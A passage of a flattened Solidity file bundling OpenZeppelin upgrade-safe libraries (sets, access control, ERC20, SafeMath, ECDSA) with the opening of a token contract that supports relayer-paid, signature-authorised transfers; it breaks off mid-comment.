pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// File: contracts/abstracts/Validate.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Signature verification
*/
library Validate {
using Address for address;
using ECDSA for bytes32;
/**
* @dev Throws if given `sig` is an incorrect signature of the `sender`.
*/
function validateSignature(bytes32 hash, address sender, bytes memory sig) internal pure {
bytes32 messageHash = hash.toEthSignedMessageHash();
address signer = messageHash.recover(sig);
require(signer == sender, "Validate: invalid signature");
}
}
// File: contracts/abstracts/ERC20ETHlessTransfer.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Extension of {ERC20} that allows users to send ETHless transfer by hiring a transaction relayer to pay the
* gas fee for them. The relayer gets paid in this ERC20 token for `fee`.
*/
abstract contract ERC20ETHless is Initializable, AccessControlUpgradeSafe, ERC20UpgradeSafe {
using Address for address;
mapping (address => mapping (uint256 => bool)) private _usedNonces;
// collects transaction relay fee
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
function __ERC20ETHless_init(string memory name, string memory symbol) internal
initializer {
__ERC20_init_unchained(name, symbol);
__ERC20ETHless_init_unchained();
}
function __ERC20ETHless_init_unchained() internal initializer {
_setupRole(RELAYER_ROLE, _msgSender());
}
/**
* @dev Moves `amount` tokens from the `sender`'s account to `recipient`
* and moves `fee` tokens from the `sender`'s account to a relayer's address.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits two {Transfer} events.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the `sender` must have a balance of at least the sum of `amount` and `fee`.
* - the `nonce` is only used once per `sender`.
*/
function transfer(address sender, address recipient, uint256 amount, uint256 fee, uint256 nonce, bytes calldata sig)
external returns (bool success)
{
uint256 senderBalance = balanceOf(sender);
require(senderBalance >= amount.add(fee), "ERC20ETHless: the balance is not sufficient");
_useNonce(sender, nonce);
bytes32 hash = keccak256(abi.encodePacked(address(this), sender, recipient, amount, fee, nonce));
Validate.validateSignature(hash, sender, sig);
_collect(sender, fee);
_transfer(sender, recipient, amount);
return true;
}
/* @dev Uses `nonce` for the signer.
*/
function _useNonce(address signer, uint256 nonce) private {
require(!_usedNonces[signer][nonce], "ERC20ETHless: the nonce has already been used for this address");
_usedNonces[signer][nonce] = true;
}
/** @dev Collects `fee` from the sender.
*
* Emits a {Transfer} event.
